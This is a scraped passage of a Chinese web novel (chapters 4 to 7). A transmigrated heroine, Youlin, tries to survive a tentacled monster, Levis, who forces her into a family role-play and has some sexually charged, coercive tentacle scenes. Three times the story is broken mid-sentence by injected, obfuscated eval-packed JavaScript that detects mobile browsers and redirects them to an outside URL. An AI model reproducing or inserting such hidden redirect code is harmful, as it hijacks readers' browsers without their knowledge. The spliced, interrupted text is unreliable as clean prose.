好啊,怪物也会一个唱红脸一个唱白脸是吧。如果操纵他们的人是利维斯,想必利维斯已经离精分不远了。 尤琳冲艾玛达浅浅点头,表示对她话的肯定。 食物散发着诱人的香味,但尤琳没什么胃口,她回头朝餐厅的大门望了好几眼,直到蒂奇注意到她。 “怎么了尤琳,你在等什么?” 尤琳顺口回答:“没什么。” 她纳闷地握住旁边的牛奶,心想利维斯竟然不打算不出现吗?他是真的不打算吃她了吗? 就在这时,尤琳脑海中猛地蹿过一丝电光,像是突然察觉到了什么,抬头紧盯着面前正在用餐的蒂奇和艾玛达。 他们……一直叫的是她的名字。 不是赛西莉娅,而是尤琳! 而她还没习惯称呼上的转变,竟然到了现在才慢慢回过神来发觉到这点。 如往常一样的日子,加上称呼上的转变,好像一切都没有发生,这个发现隐约能证明尤琳心底冒出来的一个猜测: 或许利维斯是想跟她玩一场游戏,一场熟悉的过家家游戏。 只是这一次他的“家人”不再是赛西莉娅,而是变成了她——尤琳。 4. chapter.4 原著里关于赛西莉娅的描写太少了,简直就像个炮灰,尤琳记得书中赛西莉亚的父母什么都会,他们致力于将女儿打造为一个不一样的贵族少女,于是教了赛西莉亚音乐、绘画、骑术、枪术等等…… 赛西莉亚学得很快,一直以有两个这样的父母感到自豪和骄傲。 直到后面剧情反转,父母原来只是怪物的皮套,这也就意味着教会她所有技能的,都是利维斯。 怪物擅长模仿人类的一举一动,利维斯会这些也并不奇怪,但人类的感情是他永远学不来的,或许这就是他热衷于“家庭角色扮演”的原因。 那本小说尤琳看了一些就睡着了,并没有看到后续关于利维斯的深度描写,这也就意味着她无法靠记得的那些文字获取更多的信息,只能靠自己去一点点摸索。 现在,她觉得自己像是在玩一场赌上性命的游戏。 游戏中她所扮演的角色是利维斯的“家人”,而利维斯就是这个恐怖世界的BOSS,一旦她触发某个条件,就会被即刻绞杀! 目前可以推测的死亡条件有两个,伤害它或者是逃跑。 除了第一点尤琳还能控制外,另一点,她不可能真的跟一屋子的利维斯相处一辈子,假装永远是他的家人,所以逃还是要逃,至于怎么逃……这就有待探索了。 好消息是,只要扮演好自己的角色,她就暂时会是安全的。 想到这,尤琳悬起的心终于可以往下放一放,感觉自己像是过了新手教程一样。 她总算恢复了点胃口,但也只吃了几口牛奶和半块面包。 饭后蒂奇说要考考她上次他教过的曲子,尤琳顿时如临大敌,才放下的心又呲溜一下提到了悬崖之上,像是在校念书时一字未背的文言文,第二天老师却抽到她起来背诵。 背不出文言文好歹被训斥两句,多抄两遍后死记硬背下来,但尤琳对于乐器一窍不通,她不太确定利维斯听到她蹩脚的音乐会不会直接暴走。 只能走一步看一步了。 尤琳硬着头皮,像个人机一样冲蒂奇点头,微笑:“好的父亲。” 不知道是不是尤琳的错觉,在她说完这句话后蒂奇的眼角似乎抽搐了一下,皮肤下隐约藏着什么东西,拱起了一道细长的痕迹,并在里面不断游走着。 尤琳回想起昨晚遍布房间的暗红色触手,顿时一阵头皮发麻。 半个小时后,尤琳坐在一架漂亮的水晶钢琴前,哆嗦着将手放上琴键,却迟迟按不下去。 在她的旁边,蒂奇正板着一张脸,眼睛一眨不眨地盯着她。 这种感觉就像是整个考场只有尤琳一个学生,四面八方却都是摄像头对准了她,学霸也许还能游刃有余地应对,但对于学渣来说,即便是破罐子破摔什么都不写,也难以在这种注视下平心静气。 蒂奇漠然地张嘴:“怎么还不开始?” 尤琳绷直脊背,在主动坦白自己不会和乱弹一气中犹豫了一会儿,选择了:“要不父亲您再示范一下吧。” 蒂奇没有说话,动作僵硬地和尤琳换了个位置。然而他原本僵直的双手在落在琴键上时突然变得异常灵活起来,看得尤琳眼花缭乱,根本记不住什么,一曲就已经结束了。 随后蒂奇站起身,又用一双空洞无神的眼睛戳在她身上:“现在到你了。” 尤琳脑中一团混乱。 弹不出来利维斯会直接吃了她吗?这点似乎不在死亡条件内。 如果光凭这样就随意杀人的话,这场游戏未免太过苛刻了。 尤琳决定赌一把,心跳快了几分,望着蒂奇低声道:“对不起父亲,我不会……” 此时蒂奇脸上的皮肉下布满了那种游动的触手,似乎想要从他的嘴里眼睛里钻出来,偏偏他还是一副面无表情的样子,像是一具尸体被人掏空了内脏,只剩下个脆弱的皮套。 尤琳悚然一惊,心想完了完了,赌错了,她要变成利维斯的开胃早餐了! 她想要逃跑,脚下刚微微挪了半步,就见蒂奇脸上的狰狞迅速褪去,又恢复了和平时一样的神情。 他裂开嘴,扯出一个僵硬别扭的微笑:“没关系,我们可以从头开始,慢慢学。” 尤琳没想到他会这么说,大脑直接进入自动重启状态。 她不知道利维斯对人类社会的家庭到底存在怎样的印象?为什么这么乐忠于教她东西? 只有在自然世界里,一些动物被生下来后会由父母来传授生存和狩猎的技巧。显然,利维斯以为人类也是一样,不同的是人类不需要隐藏气味,也不需要躲避天敌,所以他只能教一些自己从人类那学会的东西? 不管怎么说,尤琳松了一口气,感觉自己又活过了一个小关卡。 但接下来的时间也不是那么好过的。 因为尤琳对钢琴确实一窍不通,下手没轻没重,即便蒂奇已经在旁边很耐心地教导,一首手残级的歌曲依旧能被她弹得惊天地泣鬼神。 蒂奇似乎已经忍无可忍,皮肉下的触手又开始蠢蠢欲动。 尤琳欲哭无泪地看着他,试图商量:“要不我们换一个学学?我觉得我……敲木鱼应该挺有天赋的。” 蒂奇的眼珠向一边重重挤去,眼角处似乎有什么东西在蠕动,好像下一秒就要钻出来,他张大着嘴巴,从嘴巴发出含糊的声音,像是喉咙里含了一口水。 尤琳:“……”大哥你别变了,我害怕! 下一秒,一团暗红色的触手从他嘴里钻了出来,像嘴上盛开了一朵肉色的喇叭花。 尤琳下意识捂住了嘴巴。 很快,触手们挣扎着从蒂奇的体内完全钻出,蒂奇像张薄薄的纸落在地上,好像一阵风都能将它卷跑。 尤琳脊椎蓦地一麻,有什么东西隔着衣裙顶了她一下,紧接着,一根暗红色的触手缠上了她的腰,将她往钢琴前重新一带,坐了下来。 这还是她第一次在白天清晰地看清楚这些东西,头部圆润,躯体光滑微微带着水渍,有点像是放大了数倍的红花石蒜的花丝,妖异又古怪。 这时,又有不少触手朝她的方向伸过来,顺着她的手臂攀爬,一直到手指的位置,将她的每根手指都紧紧缠绕着。 尤琳感觉到一股不容抗拒的力量在带动她的手。 耳边刮过一缕阴凉的风,有人用悦耳的声音在她耳畔低声说:“再来一遍。” 话音刚落,那些触手带动着尤琳的手指按在了琴键上。 尤琳耳根一麻,知道利维斯此刻正站在她的身后。 她还没见过利维斯的全貌,小说里倒是有用他人视角去描写他。 ——“那是一个满头银发的青年,后脑的长发散落身后,他冒着风雨而来,却没有一丝狼狈,依旧英俊优雅,进门时先是用那双宝石蓝一般的眼睛打量了众人一圈,随后苍白的脸上浮现出了一丝古怪的表情。” ——“大家都以为他是从哪远道而来的皇室贵族,纷纷起身向他问好,但很快人们就惊讶地发现他身后的阴影里笼罩着一团诡异的,会动的东西……” 尤琳不大记得这段剧情是在讲什么了,文中对利维斯的外貌描写不多,不过她昨夜倒是窥见了一点端倪,好像…… 一只手忽然按住了她的脑袋,打断了她的思绪。 “专心。” 尤琳浑身冰凉,大概是昨晚的后遗症,一被他触碰就感觉口干舌燥,快要咽气。 那些触手们今天变得温顺多了,将她手指缠绕得十分贴合,能够带领她做出更加标准的动作和力道,又会在适当的时候撤掉一些力,让她自己去尝试。 不知过了多久,尤琳总算能弹奏出小半首手残级的曲子了。 利维斯也没有继续为难她,撤掉了那些缠绕着她的触手,瞬间,尤琳感觉身上的紧绷感全都消失了,整个人无比轻松畅快,几乎是下意识地喘了一大口气。 等她喘完这口气回头的时候,蒂奇不知道什么时候又站了起来,顶着一张皮笑肉不笑的表情望着她。 尤琳看到他一眨不眨的眼睛,那白色的眼球上似乎爬过一道红线。 尤琳:“……” 她真是不想再看见这张脸了。 学了一早上的音乐,尤琳也有些饿了,午餐很丰盛,有热乎乎的烤肉,还有饭后甜点。 明明只有三个人,但餐桌上却摆了不少食物,尤琳看着那些来来往往的皮套仆人,也不知道这些食物是皮套做的,还是利维斯亲自做的。 她有点无法想象利维斯亲手做饭的样子。 尤琳心不在焉地抬手,想去拿杯子喝口水,意外撞到了正在递餐的仆人,连碗带食物地打翻在地。 她瞬间头皮一紧,下意识反应一边道歉,一边蹲下身去收拾,心里紧张得要命,生怕利维斯因此不高兴。 皮套女仆先她一步收拾了地上的狼狈,蒂奇淡声说:“只是个盘子而已,尤琳。” 艾玛达负责扮演温柔贤惠的母亲,走过来将尤琳扶起身,重新按回座位里,说:“是啊,没什么大不了的,尤琳没事就好,安心用餐吧。” 尤琳心里忽然说不出是什么感受。明明家人做出这样的反应才该是正常的,却又因为太过正常,而显得有几分诡异。 或者说,是她不习惯。 尤琳小心尝了一些食物,意外的好吃,然后悲催地被告知下午她还需要跟着艾玛达学画画。 好在还是给了她午休时间的,于是趁着空闲,尤琳想去古堡的周围走走,利维斯意外地没拦着她。 但尤琳心里清楚,这不意味着她能直接光明正大地离开庄园。 尤琳不敢在没有保证的前提下去试探那个死亡条件,道路千万条,小命只有一条啊! 因为害怕那个湖,尤琳特意没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在高度的精神紧绷下,加上上了一天课被累垮的身体,尤琳撑了没多久就开始眼皮打架,然后睡了过去。夜里迷迷糊糊觉得有点冷,下意识用身体把被子一卷,将自己裹成了一个蛹。 窗户不知道什么时候被推开了一条缝,几条暗红色的触手从缝隙里钻了进来,它们看上去没有强烈的攻击欲望,正常粗细,也没有闪动着红光。 它们先是将屋子里东西收拾了一遍,又将被尤琳蹬得天南地北的两只鞋拾了回来,一丝不苟地摆在床边。最后打开了赛西莉亚的衣柜,从里面拖出了一件亚麻色的睡裙来,然后分工有序,窸窸窣窣地将她身上那件有些脏了的睡裙换下。 有条触手像是在偷懒,没有参与到更换睡裙的分工中,而是晃到了尤琳的面前,盯着她的睡脸看了又看——准确来说,是盯着她的唇。 潮热的,柔软的,会因为恐惧震颤着一开一合的温室。 它的身体开始隐约闪动着暗色的红光,逐渐变得骚动,比先前涨大了一圈。 触手是由本体延伸出来的无数意识,它们的所见所闻所感都能在瞬间传递给利维斯——它们就是利维斯,利维斯也是它们。 同样,利维斯的一切变化也能通过连接延伸到每一条触手身上,产生相同的反应。 * 尤琳梦到自己回到了刚穿越的时候,这次她从抽屉里摸出了赛西莉亚弄来的枪。 好在以前好奇使然去过一次射击俱乐部,在里面摸了几个小时的枪,勉强学会了一些用法。尤琳将枪握紧,正严阵以待地盯着门看。 忽然身后“砰”的一声巨响,玻璃四分五裂,几道触手伴随着风雨从窗外杀了进来。 尤琳吓了一跳,匆忙抬枪对准了那几根触手,然而对方就像是一道闪电,只用一瞬间便劈了过来,几根缠住她的手腕,几根缠住她的枪,将她的武器彻底夺走。 那些触手将枪交到了一个人手中,对方不知道是什么时候出现的,鬼魅般地立在窗前,无声无息,尤琳呼吸一滞,浑身的血都凉了下来。 她想挣扎,身体却软绵无力,只不受控地颤抖着,随后被那几条触手带着来到那人面前。 被打湿的窗帘在他身后翻飞,闪过的紫色电光勾勒出他的身形轮廓,清瘦挺拔,就像原著中描写的那样,利维斯有着一头银白如月光的长发,梳得一丝不苟,散落身后。 矜贵,冷漠。 尤琳还是看不清他的脸。 利维斯翻看着从尤琳那夺过来的枪,下一秒修长的指节扣在扳机上,抬手对准了尤琳。 尤琳头皮炸起,她想说话,却在下一道闪电中对上了男人漠然的海蓝色瞳孔。 触手推着她向前,他将冰冷的枪管径直伸进她的嘴里,抵在了她的喉咙深处。 “砰!” 5. chapter.5 尤琳猛地从床上弹了起来,满脸苍白,额头上还挂着细密的薄汗。 她胸腔剧烈起伏着,喘气连连,直到看见窗外刚刚升起的一缕朝阳,才意识到方才的一切都是在做梦,顿时捶胸顿足地发出一声哀嚎。 这日子真是没法过了,在自己的梦里还让人反杀了! 直到现在尤琳还能感觉到被枪抵在喉咙里的感觉,阴凉恐怖,她下意识伸手捂住唇,意外摸到了唇边的干涩,像是梦中流口水后干掉的痕迹。 她什么时候睡觉会流口水了? 低头一看,身上的衣服又被换了,显然利维斯在夜里入侵过她的房间。 尤琳彻底没了睡意,在床上呆坐着。 她忽然不知道利维斯的意图,不明白他这么做是为了什么?明明她已经按照游戏规则,扮演了他所谓的“家人”。 郁闷两秒后,尤琳彻底放弃了思考。很显然,怪物的思维不能用常理去推论,也许利维斯只是在监视她有没有逃跑的意图。 尤琳当然想跑,但不是现在,除了克里奇外,她觉得自己还应该做一些其他准备,比如先试着让利维斯相信她绝对没有逃跑的意图。 让怪物相信人本身是一件极其困难的事,她得编一个合理的,能打动他的借口。 任务目标+1:获取怪物的信任。 清晨微凉的风吹拂着洁白的窗帘。 等到晨光落入室内时,房门被无声地推开了,蒂奇和艾玛达满脸堆着僵硬笑容地出现在房间门口,看见尤琳已经醒了,他们似乎愣了一下,才保持着原样,冲她点头微笑:“早上好,尤琳。” 尤琳也回以了一个微笑:“早上好,父亲母亲。” 两人便像是被设定好的程序,继续微笑地喊她吃早餐,然后出门去了。 尤琳想了想,出门前还是将窗帘拉上了。 接下来的一天,尤琳表现得异常乖巧,认真吃饭,认真上课,只是会趁着午休时间到花田溜达几圈。 没了日记里的信息,尤琳不知道克里奇什么时候还会再来,不过也有一种可能,赛西莉亚暴露后,克里奇也被利维斯吃了。但目前来说,克里奇是她唯一的希望,她会趁午休的空闲时间在这里蹲守一段日子。 对于喜欢的人,人们总是会忙里偷闲地见上一面,尤琳在赌克里奇还没死,会来见她的可能性。 意料之中,却令人有些遗憾的是,今天克里奇没来。 夜里,窗帘果然又被拉开,尤琳假装没看见,径直躺在床上,以一种放松的姿态窝在被子里,然后假装睡觉。 不知道过了多久,就在她快要睡着的时候,突然听到微弱的“咔哒”一声。 尤琳脑子瞬间清醒过来,心脏开始狂跳。 窗子被悄悄顶开了一条缝,几条触手鬼鬼祟祟地从窗户外爬了进来,并试图往尤琳的被子里钻。 感觉到冰凉的东西贴上了自己的小腿,尤琳豁然起身,掀开被子抓住了其中一条触手。 冰凉的暗红色触手在她手中挣扎,柔软滑腻,尤琳忍住头皮发麻的感觉,说:“利维斯,我想和你聊聊。” 窗外传来窸窸窣窣的响动,越来越多的触手汇聚着如同红色的血潮从窗外涌入,尤琳被眼前一幕吓得倒吸一口凉气,松开了握在手中的触手。 她这算是惹恼了利维斯了吗?又不是属炮仗的,怎么一言不合就要炸啊! 但也许是这两天尤琳被吓得多了,觉得那些触手没有第一次见到时那么可怕,红潮铺满了整个室内,尤琳像是坐在血池中央等待被献祭的少女。 触手缓缓缠上她的四肢,甚至缠上了她的脖颈,将她一动不动地禁锢在原处。 尤琳瞪大了眼睛,紧张地咽了口唾沫。 她没有触犯任意一条规则,利维斯应该不会杀她,就像他能容忍赛西莉亚二十年,尤琳不信这中途赛西莉亚没有惹过他生气。 触手们在她周围交缠蠕动,发出嘈杂的低频声,直到耳后忽然刮过一阵阴冷的风,尤琳便知道是利维斯来了。 他在她耳边低声问:“你想聊什么?” 他开口时有股冰冷的湿气落在尤琳耳根,让她痒得想缩脖子,却被触手固定着脑袋不能乱动。 尤琳小心斟酌着语句:“你能不能,不要偷偷到我的房间来?” 话音刚落,尤琳全身的汗毛都竖了起来,就像是动物遇到了自己的天敌,身体本能地发生反应。 她脑子里骤然冒出一个念头——利维斯生气了! 他冷硬的话语像冰雹一样砸在她的耳畔:“尤琳,你也想逃跑吗?” 尤琳呼吸一紧,小心翼翼地开口,背出那句自己早就编好的措辞:“没有,我为什么要逃,这里什么东西都有,还有人伺候我,我才不想逃呢。” 又有一根触手缓缓探上了她的身体,将她紧紧勒住。 尤琳惊呼一声,老脸一红。 **,变态啊! 触手上敏感的小孔像个探测器,在她心脏部位细细感受着里面狂热的跳动。 利维斯冷冰冰地说:“尤琳,你心脏跳得很快,你在撒谎。” 突然,缠绕在尤琳身上的每一根触手都开始慢慢收紧,像是要就这样直接将她分尸。 尤琳被缠得难受,目光开始涣散,脑子却在这一刻飞快转动,她在死亡前挣扎着发出艰难的声音:“心跳快不一定是撒谎的表现,利维斯,人类是不会伤害家人的!” 她几乎是将最后一句话喊了出来,收紧的触手骤然松开,给了她能够喘息的机会。 尤琳喘气急促,知道死亡并没有离她远去,可她还是想借此试探一下利维斯对她的信任程度,这样才方便进行接下来的步骤。 尤琳缓过劲来,转过身,第一次看清了利维斯的正脸。 妖魔鬼怪总喜欢幻化出一张美丽的皮囊欺骗人类送上门来,西欧的怪物竟然也不例外。 银白的发丝梳得整整齐齐,露出那张干净精致的面庞,约莫二十六七的年纪,有着欧洲人特有的立体五官,深邃的海蓝色瞳孔里透着冷漠,像是一面镜子,照出尤琳微微一怔的表情。 视线往下,看见那张薄粉色的唇时,尤琳莫名在这种时候想起了两人唇舌交缠的那次。 ……她猛地在心里给了自己一大嘴巴子,开始念经。 色字头上一把刀,色令智昏,色欲熏心,空即是色,色即是空…… 无数道触手从利维斯的背后延伸,尤琳猛地回神,舔了舔干燥的唇,用极其诚恳的眼神望着他,说:“我真没有打算逃跑,我刚刚那话的意思只是在表达,希望你能给我一点自由的空间。” 利维斯眉尾上抬。 尤琳眼角一抽:“……” 这是什么鬼什么表情,不屑吗? 她硬着头皮继续说:“在人类社会,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811715|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人可以偷偷摸摸潜入一个女生的房间,那样是会被抓起来的……” “撒谎。”利维斯毫不客气地打断她,“家人可以。” 他语气加重的时候,连带着周围密密麻麻的触手都开始蠢蠢欲动起来,蹭过尤琳的腿,不知道是痒还是吓得,让她一阵腿软。 尤琳生怕那些东西会钻到她的裙子里,连忙将裙角压在腿下,才盯着利维斯重新组织措辞:“家人是不会干偷偷摸摸这种事的,家人之间需要信任和坦诚,我不会逃,所以你需要给我一些自由的空间。” 她当时要是把小说往后多看一些就好了,那样就能知道利维斯寻找人类“过家家”的原因,可以对症下药,免得这变态乱发疯。 尤琳正这样想着,忽然周围那些触手全都一窝蜂缠了上来,像一群蚂蚁遇到了掉落的糖块,瞬间将她密不可分地包裹了起来,只剩下一个头露在外面。 卧槽! 尤琳整个头皮都快炸了,心一下子跳到了嗓子眼,整个人失去血色,只剩下苍白。 利维斯的脾气太阴魂不定了,明明刚刚还聊得好好的,怎么转眼就要她的命! 触手包裹着她,将她送到了利维斯的面前,就像是梦中那样。 尤琳呼吸都快停了,感觉到利维斯的靠近,他唇间呼出的冰凉扑在脸上,让她觉得面前的是一具尸体,并且想要将她一起拖进寒冷的地狱。 她眼前渐渐变得模糊,冰冷的,动听的,鬼魅般的声音却在她耳边越来越清晰:“尤琳,向我证明。” 证明?这要怎么证明,她不管说什么他都不信,那她还能怎么做? 生死一线,尤琳很快转念想到,也许她未必要向利维斯证明什么,只需要将他安抚下来,就像第一晚那样。 她当时是怎么做的来着? 先表明自己不会逃的态度,接着…… 尤琳涣散的视线慢慢聚焦,盯着眼前那张模糊的脸,准确寻找到了最柔软的地方,稍稍探头,贴了上去。 光是贴着,触手收紧的动作停住了,却没有松开。 好像真的有用,但还不够。 尤琳猛地下定决心,开始去撬对方的城门,她努力学着某不正经影视上的动作,却吻得笨拙而又生涩,小心翼翼地触了下利维斯的舌尖,然后尝试去缠上他。 凉的,好凉。他怎么这么凉。 但很快尤琳就发现,也许不是利维斯凉,而是她太热了。 浑身都被触手包裹得密不透风,她感觉整个人像做了几个小时的桑拿,热得快要喘不过来气。 这次不会又要晕过去了吧,利维斯这家伙怎么一动不动的? 尤琳吻得浑浑噩噩,脑子快要变成一团浆糊,就在她感觉自己真的快要喘不上来气,准备退缩时,那条冰凉的蛇终于主动缠上了她,并且往她口中渡气。 尤琳无意识地吮吸,像是一条搁浅的鱼渴望着回到水里。 那些柔软的触手密不可分地贴合着她身体,明明看上去十分光滑,涨大时却十分粗糙,如同砂砾。它们像是在寻找每一处的缝隙,不断地想要往之深入探索。 这种时候明明该是难受的,却莫名有了异常的,连自己都有些难以启齿的反应。 利维斯的吻总是从轻到重,简直像是一场穷凶极恶的打劫,把尤琳搜刮得一点不剩。 最后,她又一次在暴雨的洗礼中失去了记忆。 6. chapter.6 “早上好,尤琳。” 这一次的皮套闹钟更加过分,两人直接将漆白的脑袋凑到她的床头,睁眼盯着她苏醒。 没人知道尤琳在睁眼的第一瞬间看到两个苍白而又诡异的人脸是什么感受,那是一种心跳骤停的感觉,如果不是有了前几天的心理铺垫,现在她大概已经在跟上帝激烈辩论了。 尤琳这一觉睡得昏昏沉沉,衣服从里到外都被换了一套干净的。 两个闹钟离开后,她茫然地呆坐了一会儿,莫名觉得昨晚的自己有点像自投罗网,但好在不是一无所获,至少她隐约能够确认一件事——利维斯喜欢她吻他。 这是一个还算让人安心的发现,尤琳只能用“没开过荤的老怪物对亲吻上头了”来解释,同时这也是一个很恐怖的发现,万一那老怪物真想拿她开荤怎么办?昨晚可是就差一点了。 尤琳心烦意乱地搓了两把脸,心想得趁事情变得更糟前离开,她可不想跟一个触手怪上床——皮套帅也不行! 出门前尤琳扫了眼紧闭的窗帘,也不知道昨晚利维斯把她的话听进去了多少,也许今晚就知道了。 “美术课”上,尤琳和艾玛达两人单独坐在画室里,尤琳悄悄打量了艾玛达一眼,发现它依旧专注地扮演着“母亲”,并没有特别的反应。 画室周围靠墙的地上摆着一些已经画好的画,大多都是风景,不过中间有所空缺,像是被人拿掉了几张。墙上倒是也挂了三张画,但被蒙上了一层白布,尤琳猜那应该是利维斯最喜欢的画,否则也不会单独将它们挂在墙上。 艾玛达敲了敲画板,示意她回神,等尤琳看过来后,便冲她笑笑。 尤琳立马低头拿起手中的画笔,面对空白的画纸不知道如何落笔。 艾玛达比起蒂奇还算耐心,尤琳猜测,大概是因为利维斯在观察的人类家庭里,女性大多都是温柔好说话的。 她想,他还是观察的太少了。 回想起家人,尤琳其实没有多大的感触,因为父母自小出去务工,她是由爷爷奶奶带大的。二老去世后,她只能辗转在几个亲戚家寄人篱下,或是在学校寄宿,和父母关系并不亲近。 倒是她大学毕业开始工作后,父母隔一段时间便会打电话来问问状况。几个人聚在一起时和正常家庭没什么区别,分开后又变得不熟的样子,就像是烟火在空中从炸开到散落的瞬间。 说起来,她没有非要回到现实现代的执念,只有对自由的渴望——毕竟她还这么年轻,还没去看过外面的世界呢。 更关键的是,钱已经存好了,飞机票也买好了,正美滋滋躺在床上,准备入睡前看一本小说催眠,没想到就着了穿越的道! 艾玛达让尤琳在画纸上先画上她最喜欢的东西,以看看她的画功如何。 尤琳想也不想,画了一张百元大钞。 简单好画,就是不容易获得。 艾玛达沉思片刻,好在大概是蒂奇和她通过气了,她脸上才没有浮现出冷色,依旧用温和的声音告诉她:“好孩子,拿张新画纸,画点别的,就……画些风景吧。” 尤琳想了一下,最后又开始落笔,不过这回她倒没又画一张百元大钞,而是换了蓝色的颜料,画出了一片海。 虽然画技拙劣,属于是小学生画手抄报的水平,但也比早上一窍不通的钢琴要好,就像是差生惊讶发现考卷上有一道自己会的题。 艾玛达脸上的笑容越发僵硬,但没说什么,只问:“这是哪里?” 尤琳突然变得咬牙切齿起来:“随手画的,就叫它西弗利亚吧。” 西弗利亚岛是尤琳原本存了钱准备想去的地方。 尤琳觉得这节课总的来说过得还算和平,大概是因为利维斯已经彻底看穿了她是个菜鸡,而不是之前那个什么都会的赛西莉亚。 短暂的休息时间,艾玛达离开了。 尤琳一个人坐在画板前,枯燥无味地练习笔法。 画室空旷安静,只有窗外的风徐徐吹拂,尤琳搁笔转头,看见了蔓延在天边火红的晚霞,将白色的窗帘也染成了绯色。 忽然,她注意到墙上挂着的一幅画被风吹开了一点边缘,好奇使然,她没转头,专注地盯着白布又被吹开了一些,底下露出的似乎是一个人的五官轮廓。 尤琳眉头一皱,鬼使神差地朝那幅画走去,随着距离越来越近,心跳也开始狂跳,但还是选择在不安中抓住了白布的一角。 她不知道画上的人是谁,但她看到了那人有着一头乌黑的长发。 尤琳抓住白布的手开始颤抖,因为她无法确定擅自看利维斯的画会不会引起他的愤怒。她挣扎在一条死亡的游离线上,一边是极度的好奇,一边是对死亡的恐惧,然而这种试探却在此刻让她的肾上腺素飙升,隐约勾起了埋藏在血肉深处的隐秘情愫。 她咬紧唇,正打算将白布揭开,下一秒一只苍白且力量极大的手紧紧扣住了她。 艾玛达的脸上再没有温和的笑意,只有一片僵冷的死寂,她歪了一下脑袋,发出一声令人心颤的咔哒声,然后张开红得吓人的嘴唇,毫无感情地说:“尤琳,不许。” 她的皮肉下线条隐浮,似乎按耐不住要钻爬出来。 尤琳嗓音颤抖,乖顺地放下了手,不敢再看她的脸:“我知道了。” 利维斯已经有一点生气了,但看样子他忍耐了下来,尤琳忽然冒出了一个念头,想知道利维斯对她的包容程度能到什么地方。 但很快,她就被自己吓了一跳,打消了这个念头。 尤琳重新回到画板前回过头,发现艾玛达还保持着刚才的姿势一动不动,直到察觉到尤琳的目光,才猛地朝她拧过头来,又是咔哒一声,鲜红的唇角向上勾起,苍白的脸上露出了熟悉而又诡异的笑容。 又、吓、她!! 尤琳选择用画板遮住对方的脸,倒不是因为害怕,纯粹是被丑到了。 这天幸运之神终于降临,尤琳在花田溜达的时候终于见到了克里奇! 庄园的边缘有层护栏,克里奇隔着护栏低低喊了一声:“赛西莉亚!” 尤琳回过头,看见眼前的青年有着一头柔软的亚麻色卷发,五官端正,脸上洋溢着灿烂的笑容,整个人挺拔而显得活力十足。 这还是尤琳穿越这么多天以来第一次看见正常人,差点没感动地哭出来,她努力稳住自己的情绪,走到栏杆面前:“克里奇?” 克里奇隔着栏杆,从头到尾打量了她一遍,才激动地说:“太好了赛西莉亚,你没事……” 他顿了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤琳短暂沉默了一下。 她不确定利维斯会不会随便杀死闯入的人类,因此不敢随意叫警察来,另一点在于,一旦警察来到这里,利维斯就会在瞬间察觉到她逃跑的意图。 机会只有一次,她必须格外小心。 尤琳不能再过多停留下去了,她简明扼要地表达了自己的需求:先准备一份地图,越细致越好,要把庄园附近的线路都画出来。 交代完这些,尤琳跟克里奇约了第二次见面的时间。 临走前尤琳想到什么,说:“等等克里奇,送你个礼物。” 克里奇兴冲冲地回过头,下一秒尤琳隔着栏杆给了他另外半张脸一巴掌。 克里奇带着心满意足的笑容离开了。 尤琳不敢松气,因为接下来她还有很多事要做。 然而就在这时,一股窥视感猛地刺在她的后背,尤琳瞬间回头,身后却空空如也,只有不远处的一个喷泉正在汩汩流水。 错觉吗? 尤琳搓了搓手臂上冒出来的鸡皮疙瘩,莫名有种不安。 7. chapter.7 不管克里奇能不能帮上忙,尤琳都觉得今天这次见面好极了。穿越到现在才过去几天,但她每天都处于惊吓中,时时刻刻都要面对着喜怒无常的利维斯,这让她感觉无比压抑,迫不及待想找一个宣泄的口子。 克里奇就是最完美的宣泄口,一想到他尤琳就有些手痒。 夜里,尤琳回到房间,发现窗帘还是合上的,顿时松了一口气。 这至少说明利维斯没再从窗户钻进来。 安心后她正准备上床休息,下一秒看见了床上的东西,眼睛瞬间瞪大——是的,利维斯没再从窗户爬进来,因为他改走门了! 男人坐在尤琳的床上,银发依旧梳得一丝不苟,他穿着洁白的荷叶边衬衫,取掉了繁杂的饰品,衣摆整齐束进长裤中,紧绷的黑色长裤勾勒出精瘦的腰线,一条腿曲起,用膝盖搭着一本书,就像是一位谦逊优雅的西方贵族。 听到动静,利维斯头也不抬。 尤琳只好硬着头发从嗓子里挤出声音:“你怎么又来了?” 他果然没把她的话听进去。 利维斯这才从书本中抬头,蔚蓝的眸子凉凉地望着她:“你说的,家人不能偷偷摸摸地进来。” 他冲门的方向轻抬下巴,“所以我是光明正大进来的。” 他脸上的一本正经不像是装的,尤琳哑然,心里又给对方添上一笔“老怪物听不懂人话”。 利维斯将眼前人从头到尾打量了一遍,她刚从浴室出来,黑色的发尾湿了一截,正往下淌着水珠,眸子不像深海那样是死寂的黑,而是一片明亮的,如同点缀着星子的夜空。 尤琳感觉到一股灼热的视线顺着她的脸缓缓下移,她在那道视线得寸进尺之前打住,将衣领往上提了提,不自然地开口:“那你来做什么?” 很快,尤琳就后悔自己问出了这句话。 空气中响起了一阵古怪的声音,像是紧绷的皮肉被撕开,让人听得耳朵发麻。利维斯身体没动,他的背后却延伸出了几道暗红色的触手,像一道自带定位的捕虫网,精准地缠住了尤琳的腰,将她卷到床上。 尤琳觉得自己现在像一坨培根卷金针菇,而利维斯就是那个品尝她的人。 利维斯身上的气息总是凉得让人不适,他靠过来的时候尤琳下意识汗毛倒竖,整个人像个拉长的橡皮筋一样紧绷。 